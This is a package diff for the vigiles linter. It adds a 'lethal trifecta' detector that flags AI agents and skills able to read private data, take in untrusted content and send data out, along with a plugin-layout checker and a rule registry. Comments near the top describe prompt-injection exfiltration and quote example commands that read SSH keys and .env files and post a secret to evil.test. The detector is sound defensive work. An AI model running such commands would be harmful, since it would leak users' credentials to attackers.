vigiles 10.0.0 → 11.0.0

package/dist/core/lethal-trifecta.d.ts

@@ -0,0 +1,100 @@
+/**
+ * The LETHAL-TRIFECTA check — the headline Safety detector. Simon Willison's
+ * "lethal trifecta": a single unit (a subagent / model-invocable skill) that
+ * simultaneously holds all THREE capability legs is a prompt-injection
+ * exfiltration path with NO exploit code — attacker-controllable content flows
+ * in, reads your private data, and ships it out, all driven by the model.
+ *
+ *   LEG A — PRIVATE-DATA READ   — can read local secrets / files / repo
+ *                                 (Read, mcp__filesystem__*, github get_file,
+ *                                  and `Bash`, which can `cat ~/.ssh/*` / `.env`).
+ *   LEG B — UNTRUSTED-CONTENT INTAKE — ingests attacker-controllable content
+ *                                 (WebFetch, WebSearch, mcp__fetch__*, MCP
+ *                                  servers reading issues / email / tickets).
+ *   LEG C — EXFILTRATION CHANNEL — can send data out (WebFetch, computer_use,
+ *                                  github create_pull_request / add_issue_comment,
+ *                                  any external-write MCP, and `Bash`, which can
+ *                                  `curl`/`wget` to anywhere).
+ *
+ * Meta's "Rule of Two": allow at most two of the three legs in one unit. A unit
+ * holding all three is the hard finding. NO other tool checks the tool-SET for
+ * this — every competitor lints a single tool's effect, never the dangerous
+ * COMBINATION.
+ *
+ * `Bash` is special: it satisfies BOTH leg A (read a secret) AND leg C (curl it
+ * out). So `Bash` + any leg-B tool (e.g. `WebFetch`) is already all three legs.
+ *
+ * HIGH-PRECISION (don't-cry-wolf): only WELL-KNOWN tools map to a leg; an
+ * unknown tool maps to nothing. A `Tool(restriction)` suffix is stripped with the
+ * same `baseTool` shape `effects.ts` uses.
+ *
+ * INHERITS-ALL: a unit with no `tools:` line inherits ALL tools — maximal blast
+ * radius, trivially all three legs. Aligned with the codebase's existing
+ * "inherits-all is ADVISORY" stance (compile/scan treat a missing contract as a
+ * footgun note, not a hard defect), an inherits-all trifecta is reported as
+ * `"advisory"`; an EXPLICIT all-three contract is the `"hard"` flag.
+ *
+ * Pure + ONE detector (one-detector-no-drift) — intended to be reused by `scan`
+ * (the read-only audit) and a future `lethal-trifecta` lint rule. The dialect is
+ * injected (core ⊄ adapter) so it generalizes across harnesses (Codex's `shell`
+ * plays Bash's dual A+C role — see `LEG_BASH_DUAL` below). The per-leg catalogs
+ * are LOCAL consts here because the `HarnessDialect` interface has no trifecta-leg
+ * fields today; see the "Recommended dialect additions" note at the bottom.
+ */
+import type { HarnessDialect } from "./dialect.js";
+/** The three capability legs of the lethal trifecta. */
+export type TrifectaLeg = "private" | "untrusted" | "exfil";
+/** The tools classified into each leg (base names, de-duplicated). */
+export interface TrifectaLegs {
+    /** LEG A — tools that can read private data (secrets, files, repo). */
+    readonly private: readonly string[];
+    /** LEG B — tools that ingest untrusted / attacker-controllable content. */
+    readonly untrusted: readonly string[];
+    /** LEG C — tools that can exfiltrate data out of the trust boundary. */
+    readonly exfil: readonly string[];
+}
+/**
+ * The severity of a trifecta finding:
+ * - `"hard"`:     an EXPLICIT contract that names all three legs — a concrete,
+ *                 declared exfil path. The flag.
+ * - `"advisory"`: an inherits-all unit (no `tools:` line) that holds all three
+ *                 legs only because it inherits everything — maximal blast radius,
+ *                 reported as advisory in line with the inherits-all stance.
+ */
+export type TrifectaSeverity = "hard" | "advisory";
+/**
+ * A lethal-trifecta finding — emitted ONLY when all three legs are non-empty (or,
+ * for the inherits-all case, when the contract inherits all tools). The `legs`
+ * field names the specific tools that supplied each leg, so the report can show
+ * exactly which capabilities to drop to break the trifecta.
+ */
+export interface TrifectaFinding {
+    readonly severity: TrifectaSeverity;
+    /** The tools that supplied each leg (advisory inherits-all carries the wildcard). */
+    readonly legs: TrifectaLegs;
+    /** A ready-to-show, actionable message. */
+    readonly message: string;
+}
+/**
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
+ *
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
+ */
+export declare function classifyTrifectaLegs(tools: readonly string[], dialect: HarnessDialect): TrifectaLegs;
+/**
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
+ * `null` (≤ 2 legs = safe by the Rule of Two).
+ *
+ * Two paths:
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
+ *   tool → trivially all three legs → an `"advisory"` finding (the inherits-all
+ *   stance: a footgun worth surfacing, not a declared exfil path).
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
+ *   three legs is non-empty.
+ */
+export declare function lethalTrifectaIssues(tools: readonly string[], dialect: HarnessDialect): TrifectaFinding | null;
+//# sourceMappingURL=lethal-trifecta.d.ts.map

package/dist/core/lethal-trifecta.js

@@ -0,0 +1,197 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.classifyTrifectaLegs = classifyTrifectaLegs;
+exports.lethalTrifectaIssues = lethalTrifectaIssues;
+// ---------------------------------------------------------------------------
+// Per-leg tool catalogs (LOCAL — the dialect has no trifecta-leg fields yet).
+//
+// HIGH-PRECISION by construction: only well-known, high-signal tools appear.
+// Exact built-in names; MCP tools are matched by a `server`/`tool` substring
+// heuristic (well-known servers/verbs only) so a bare unknown `mcp__*` maps to
+// nothing rather than crying wolf.
+// ---------------------------------------------------------------------------
+/**
+ * The dual-role tool: it satisfies BOTH leg A (read a secret: `cat ~/.ssh/*`)
+ * AND leg C (exfiltrate: `curl --data @secret evil.test`). Listed once here and
+ * fanned into both buckets. Claude Code names it `Bash`; the dialect's
+ * `sideEffectingTools` is the seam a future harness's shell name plugs into, but
+ * since no dialect field enumerates "the shell tool" we match the known names.
+ */
+const LEG_BASH_DUAL = new Set(["Bash", "shell"]);
+/** LEG A — built-in tools that can read private data. */
+const PRIVATE_BUILTINS = new Set(["Read"]);
+/** LEG B — built-in tools that ingest untrusted content. */
+const UNTRUSTED_BUILTINS = new Set(["WebFetch", "WebSearch"]);
+/**
+ * LEG C — built-in tools that can exfiltrate. `WebFetch` is dual (it can POST a
+ * body out AND fetch untrusted content in), so it appears in BOTH leg B and leg C.
+ */
+const EXFIL_BUILTINS = new Set(["WebFetch", "computer_use", "ComputerUse"]);
+/**
+ * Well-known MCP SERVER substrings per leg. An `mcp__<server>__<tool>` reference
+ * is classified by its server segment when the server is a recognized one. Kept
+ * deliberately small + high-signal.
+ */
+const PRIVATE_MCP_SERVERS = ["filesystem", "file", "git", "github", "memory"];
+const UNTRUSTED_MCP_SERVERS = [
+    "fetch",
+    "web",
+    "browser",
+    "puppeteer",
+    "playwright",
+];
+const EXFIL_MCP_SERVERS = ["slack", "email", "gmail", "smtp", "discord"];
+/**
+ * Well-known MCP TOOL-name substrings per leg — finer than the server alone (a
+ * `github` server is leg A via `get_file_contents` but leg C via
+ * `create_pull_request`). Matched against the tool segment after the server.
+ */
+const PRIVATE_MCP_TOOLS = ["get_file", "read", "search_code", "get_contents"];
+const UNTRUSTED_MCP_TOOLS = [
+    "fetch",
+    "list_issues",
+    "get_issue",
+    "issue_read",
+    "search_issues",
+];
+const EXFIL_MCP_TOOLS = [
+    "create_pull_request",
+    "add_issue_comment",
+    "issue_write",
+    "create_or_update_file",
+    "push_files",
+    "send",
+    "post",
+    "create_issue",
+];
+// ---------------------------------------------------------------------------
+// Internal helpers
+// ---------------------------------------------------------------------------
+/** Strips a `Tool(restriction)` suffix and returns the base tool name. */
+function baseTool(raw) {
+    return raw.split("(")[0].trim();
+}
+/** Returns true for the wildcard sentinels that mean "inherits-all". */
+function isWildcard(tool) {
+    return tool === "" || tool === "*";
+}
+/**
+ * Split an MCP grant into `{ server, tool }`, or null. Handles three forms:
+ * - a concrete `mcp__<server>__<tool>` (tool = the named tool);
+ * - a SERVER-WIDE grant `mcp__<server>` or `mcp__<server>__*` / `__.*` (tool = ""
+ *   → classify by the SERVER alone, since it grants every tool on that server).
+ * Without the server-wide case a contract like `mcp__slack__*` would grant an
+ * exfil-capable server yet contribute no leg (reported clean when it isn't).
+ */
+function mcpParts(base, dialect) {
+    if (dialect.mcpToolPattern.test(base)) {
+        const m = /^mcp__([^_]+(?:_[^_]+)*?)__(.+)$/.exec(base);
+        if (m)
+            return { server: m[1].toLowerCase(), tool: m[2].toLowerCase() };
+    }
+    // Server-wide: `mcp__server`, `mcp__server__*`, `mcp__server__.*`.
+    const sw = /^mcp__([a-z0-9-]+(?:_[a-z0-9-]+)*?)(?:__(?:\*|\.\*))?$/i.exec(base);
+    if (sw)
+        return { server: sw[1].toLowerCase(), tool: "" };
+    return null;
+}
+function anySubstr(haystack, needles) {
+    return needles.some((n) => haystack.includes(n));
+}
+// ---------------------------------------------------------------------------
+// Public API
+// ---------------------------------------------------------------------------
+/**
+ * Classify each tool in a declared contract into the trifecta legs it supplies.
+ * A single tool may land in MULTIPLE legs (`Bash` → A+C, `WebFetch` → B+C). An
+ * unknown tool lands in none (high-precision). De-duplicated per leg.
+ *
+ * NOTE on inherits-all: a wildcard (`""`/`"*"`) entry is NOT classified into a
+ * named leg here (it has no concrete tool name); the inherits-all case is handled
+ * by {@link lethalTrifectaIssues}, which knows it grants every leg.
+ */
+function classifyTrifectaLegs(tools, dialect) {
+    const priv = new Set();
+    const untrusted = new Set();
+    const exfil = new Set();
+    for (const raw of tools) {
+        const base = baseTool(raw);
+        if (isWildcard(base))
+            continue; // handled by the issues fn, not a named leg
+        // Dual-role shell: leg A AND leg C.
+        if (LEG_BASH_DUAL.has(base)) {
+            priv.add(base);
+            exfil.add(base);
+            continue;
+        }
+        if (PRIVATE_BUILTINS.has(base))
+            priv.add(base);
+        if (UNTRUSTED_BUILTINS.has(base))
+            untrusted.add(base);
+        if (EXFIL_BUILTINS.has(base))
+            exfil.add(base);
+        const parts = mcpParts(base, dialect);
+        if (parts) {
+            const { server, tool } = parts;
+            if (anySubstr(server, PRIVATE_MCP_SERVERS) ||
+                anySubstr(tool, PRIVATE_MCP_TOOLS))
+                priv.add(base);
+            if (anySubstr(server, UNTRUSTED_MCP_SERVERS) ||
+                anySubstr(tool, UNTRUSTED_MCP_TOOLS))
+                untrusted.add(base);
+            if (anySubstr(server, EXFIL_MCP_SERVERS) ||
+                anySubstr(tool, EXFIL_MCP_TOOLS))
+                exfil.add(base);
+        }
+    }
+    return { private: [...priv], untrusted: [...untrusted], exfil: [...exfil] };
+}
+/**
+ * Returns a {@link TrifectaFinding} ONLY when a unit holds all three legs, else
+ * `null` (≤ 2 legs = safe by the Rule of Two).
+ *
+ * Two paths:
+ * - INHERITS-ALL (a wildcard `""`/`"*"`, or an EMPTY contract): inherits every
+ *   tool → trivially all three legs → an `"advisory"` finding (the inherits-all
+ *   stance: a footgun worth surfacing, not a declared exfil path).
+ * - EXPLICIT: classify the named tools; emit a `"hard"` finding iff each of the
+ *   three legs is non-empty.
+ */
+function lethalTrifectaIssues(tools, dialect) {
+    const hasWildcard = tools.some((t) => isWildcard(baseTool(t)));
+    // Inherits-all is signalled by a WILDCARD (the caller passes `["*"]` for an
+    // absent `tools:` line). An EXPLICIT empty `[]` is the opposite — zero tools,
+    // so it cannot hold any leg; it falls through to classify as no-trifecta. (The
+    // caller must distinguish: `tools ?? ["*"]`, never `tools ?? []`.)
+    if (hasWildcard) {
+        const legs = {
+            private: ["*"],
+            untrusted: ["*"],
+            exfil: ["*"],
+        };
+        return {
+            severity: "advisory",
+            legs,
+            message: "Inherits-all contract (no explicit tools / wildcard) grants every capability — " +
+                "it holds all three lethal-trifecta legs (read private data, ingest untrusted content, " +
+                "exfiltrate) and is a maximal prompt-injection blast radius. Declare an explicit tools " +
+                "list dropping at least one leg (Meta's Rule of Two).",
+        };
+    }
+    const legs = classifyTrifectaLegs(tools, dialect);
+    if (legs.private.length > 0 &&
+        legs.untrusted.length > 0 &&
+        legs.exfil.length > 0) {
+        return {
+            severity: "hard",
+            legs,
+            message: "Lethal trifecta: this unit can read private data " +
+                `(${legs.private.join(", ")}), ingest untrusted content ` +
+                `(${legs.untrusted.join(", ")}), AND exfiltrate ` +
+                `(${legs.exfil.join(", ")}) — a prompt-injection exfil path with no exploit code. ` +
+                "Drop at least one leg (Meta's Rule of Two: allow at most two).",
+        };
+    }
+    return null;
+}
+//# sourceMappingURL=lethal-trifecta.js.map

package/dist/core/plugin-dir-layout.d.ts

@@ -0,0 +1,30 @@
+/** A functional surface directory found nested inside the manifest directory. */
+export interface PluginLayoutFinding {
+    /** The misplaced surface directory name (e.g. `"skills"`). */
+    readonly dir: string;
+    /** Human-readable explanation + fix. */
+    readonly message: string;
+}
+export interface PluginLayoutOptions {
+    /** Injectable: does this path exist? (default: node:fs existsSync) */
+    readonly existsSync?: (p: string) => boolean;
+    /**
+     * Injectable: is this path a directory? (default: node:fs
+     * statSync(p).isDirectory(), returning false on any throw)
+     */
+    readonly isDirectory?: (p: string) => boolean;
+}
+/**
+ * Surface directories found nested INSIDE the manifest directory, where they are
+ * invisible to the harness.
+ *
+ * `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
+ * `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
+ * directory names, injected from the layout (e.g. `["skills","agents","commands",
+ * "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
+ *
+ * Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
+ * dirs.
+ */
+export declare function pluginDirLayoutIssues(manifestDir: string, surfaceDirNames: readonly string[], opts?: PluginLayoutOptions): PluginLayoutFinding[];
+//# sourceMappingURL=plugin-dir-layout.d.ts.map

package/dist/core/plugin-dir-layout.js

@@ -0,0 +1,73 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.pluginDirLayoutIssues = pluginDirLayoutIssues;
+/**
+ * vigiles — plugin manifest directory layout verification.
+ *
+ * The #1 plugin-author mistake (OSS pain #E1): placing functional surface
+ * directories (skills/, agents/, commands/, hooks/) INSIDE the `.claude-plugin/`
+ * manifest directory instead of at the plugin root. The harness resolves surface
+ * dirs relative to the PLUGIN ROOT (where the agent is launched), not relative to
+ * the manifest directory — so a `skills/` nested inside `.claude-plugin/` is
+ * completely invisible to the harness. Only `plugin.json` belongs inside the
+ * manifest directory; everything else must live at the root.
+ *
+ * Pure + FP-safe: the only IO is an injectable `existsSync` and `isDirectory`
+ * (defaults: node:fs), mirroring the pattern in core/skill-resources.ts and the
+ * loader, so the detector is fully testable with fakes and never touches the
+ * filesystem in tests.
+ *
+ * Harness-agnostic: the surface directory names are INJECTED from the layout
+ * (PluginLayout.skillDir / agentDir / commandDir / hookDir, or equivalent), never
+ * hard-coded here. ONE detector reused by both `vigiles lint` (the
+ * `plugin-dir-layout` rule) and `vigiles audit` (the read-only report) — one
+ * detector, no drift.
+ */
+const node_fs_1 = require("node:fs");
+const node_path_1 = require("node:path");
+// ---------------------------------------------------------------------------
+// Detector
+// ---------------------------------------------------------------------------
+/**
+ * Default `isDirectory` implementation — wraps statSync so that a missing or
+ * unreadable path returns `false` instead of throwing.
+ */
+function defaultIsDirectory(p) {
+    try {
+        return (0, node_fs_1.statSync)(p).isDirectory();
+    }
+    catch {
+        return false;
+    }
+}
+/**
+ * Surface directories found nested INSIDE the manifest directory, where they are
+ * invisible to the harness.
+ *
+ * `manifestDir` is the absolute path to the manifest directory (e.g. the repo's
+ * `.claude-plugin/`). `surfaceDirNames` are the harness's functional surface
+ * directory names, injected from the layout (e.g. `["skills","agents","commands",
+ * "hooks"]`) so the detector stays harness-agnostic — NEVER hard-code them.
+ *
+ * Returns `[]` when the manifest dir doesn't exist or holds no misplaced surface
+ * dirs.
+ */
+function pluginDirLayoutIssues(manifestDir, surfaceDirNames, opts) {
+    const exists = opts?.existsSync ?? node_fs_1.existsSync;
+    const isDir = opts?.isDirectory ?? defaultIsDirectory;
+    const manifestBase = (0, node_path_1.basename)(manifestDir);
+    const findings = [];
+    for (const name of surfaceDirNames) {
+        const candidate = (0, node_path_1.join)(manifestDir, name);
+        if (exists(candidate) && isDir(candidate)) {
+            findings.push({
+                dir: name,
+                message: `\`${name}/\` lives inside the \`${manifestBase}/\` manifest directory ` +
+                    `where the harness can't see it — only \`plugin.json\` belongs there; ` +
+                    `move \`${name}/\` to the plugin root.`,
+            });
+        }
+    }
+    return findings;
+}
+//# sourceMappingURL=plugin-dir-layout.js.map

package/dist/core/rule-meta.d.ts

@@ -0,0 +1,82 @@
+/**
+ * vigiles — the RULE METADATA registry (the ESLint-`meta` pattern, adapted).
+ *
+ * Every deterministic check vigiles ships is DECLARED here with the one fact that
+ * dissolves the "why is this a warning / can't this be a type?" confusion: its
+ * DECIDABILITY BUCKET, which sets the strongest enforcement the defect can ever
+ * reach. See `research/enforcement-model.md` for the full model and
+ * `lint-rule-calibration` (root CLAUDE.md) for the governance rule.
+ *
+ * WHY A CENTRAL REGISTRY, NOT CO-LOCATED `export const meta`. ESLint co-locates
+ * meta with each rule because there 1 rule = 1 module. vigiles deliberately
+ * SHARES detectors (one-detector-no-drift: a single pure function feeds both
+ * `lint` and `audit`, and `scan.ts` computes many rules at once), so co-locating
+ * would scatter metas across files that each own several rules — the very
+ * fragmentation we're removing. ONE registry keyed by rule name is the honest
+ * single source (mirrors `cli-commands.ts` for verbs); the `detector` field names
+ * the pure function so traceability survives.
+ *
+ * The bucket is the CEILING; `defaultSeverity` is where the rule sits TODAY. A
+ * gap between them is meaningful: a bucket-A/B rule at `warn` is a CANDIDATE for
+ * promotion to `error` (deterministic, just rolling out), whereas a bucket-C rule
+ * at `warn` is permanent (forcing it to `error` would cry wolf).
+ */
+import type { RulesConfig } from "./types.js";
+/**
+ * The decidability class of a defect — the single fact that sets its ceiling.
+ *
+ * - `structural-closed` — decidable from the artifact's own content over a CLOSED
+ *   vocabulary; a TYPE could make it impossible for authors who route through the
+ *   typed constructor. Ceiling: unrepresentable / won't-typecheck.
+ * - `external-decidable` — decidable, but needs the EXTERNAL world (the
+ *   filesystem, a linter catalog, another file/server). No type can read those,
+ *   so the ceiling is a hard ERROR at compile-cross-ref or lint — never a type.
+ * - `heuristic-behavioral` — undecidable or a fuzzy proxy ("are these too
+ *   similar?", "does this fire?"). Ceiling: a WARNING or a model-MEASUREMENT. By
+ *   the math, not by laziness; an `error` here would cry wolf.
+ */
+export type RuleBucket = "structural-closed" | "external-decidable" | "heuristic-behavioral";
+/** The artifact surface a rule reads (coarse; a rule may span several). */
+export type RuleSurface = "instruction" | "skill" | "subagent" | "hook" | "mcp" | "plugin" | "docs";
+/** Where a rule sits by default — `"off"` is the normalized form of `false`. */
+export type RuleDefaultSeverity = "error" | "warn" | "off";
+/** Every named rule: the `RulesConfig` keys plus the built-in `orphan-docs`. */
+export type RuleName = keyof RulesConfig | "orphan-docs";
+/**
+ * The declared shape of one rule — co-located metadata in the ESLint `meta`
+ * sense, gathered into one registry because vigiles shares detectors.
+ */
+export interface RuleMeta {
+    /** Canonical rule id (a `RulesConfig` key or `orphan-docs`). */
+    readonly id: RuleName;
+    /** The decidability class → the rule's strongest possible ceiling. */
+    readonly bucket: RuleBucket;
+    /** The artifact surface(s) the rule reads (non-empty). */
+    readonly surface: readonly RuleSurface[];
+    /** Where the rule sits by default today (≤ the bucket's ceiling). */
+    readonly defaultSeverity: RuleDefaultSeverity;
+    /** One-line "what it checks" (tracks the docs matrix row). */
+    readonly summary: string;
+    /** The shared pure detector function (one-detector-no-drift traceability). */
+    readonly detector: string;
+    /**
+     * The upstream construct that makes this SAME defect impossible for authors who
+     * route through it — a TYPE (structural-closed) or a COMPILE cross-ref. Absent
+     * when no construct path exists for the surface, the prevention isn't shipped
+     * yet, or the defect is undecidable (heuristic-behavioral). The lint rule is
+     * always the artifact-time floor regardless.
+     */
+    readonly upstreamPrevention?: string;
+}
+/**
+ * The registry. `Record<RuleName, RuleMeta>` makes completeness a COMPILE-TIME
+ * guarantee: add a `RulesConfig` key without a meta here and `tsc` fails. The
+ * runtime test additionally binds this to `docs/rules/*.md` (the fs side a type
+ * can't see).
+ */
+export declare const RULE_META: Record<RuleName, RuleMeta>;
+/** All declared rule metas, as a list. */
+export declare function allRuleMeta(): RuleMeta[];
+/** Look up one rule's meta (undefined for an unknown id). */
+export declare function ruleMeta(id: string): RuleMeta | undefined;
+//# sourceMappingURL=rule-meta.d.ts.map